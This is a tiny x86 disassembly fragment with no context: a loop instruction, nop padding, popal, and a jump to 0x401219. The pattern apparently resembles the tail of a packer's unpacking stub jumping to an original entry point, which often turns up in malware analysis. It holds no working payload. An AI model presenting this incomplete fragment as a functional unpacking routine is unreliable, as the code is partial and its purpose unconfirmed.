loop 0x42e0c0
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219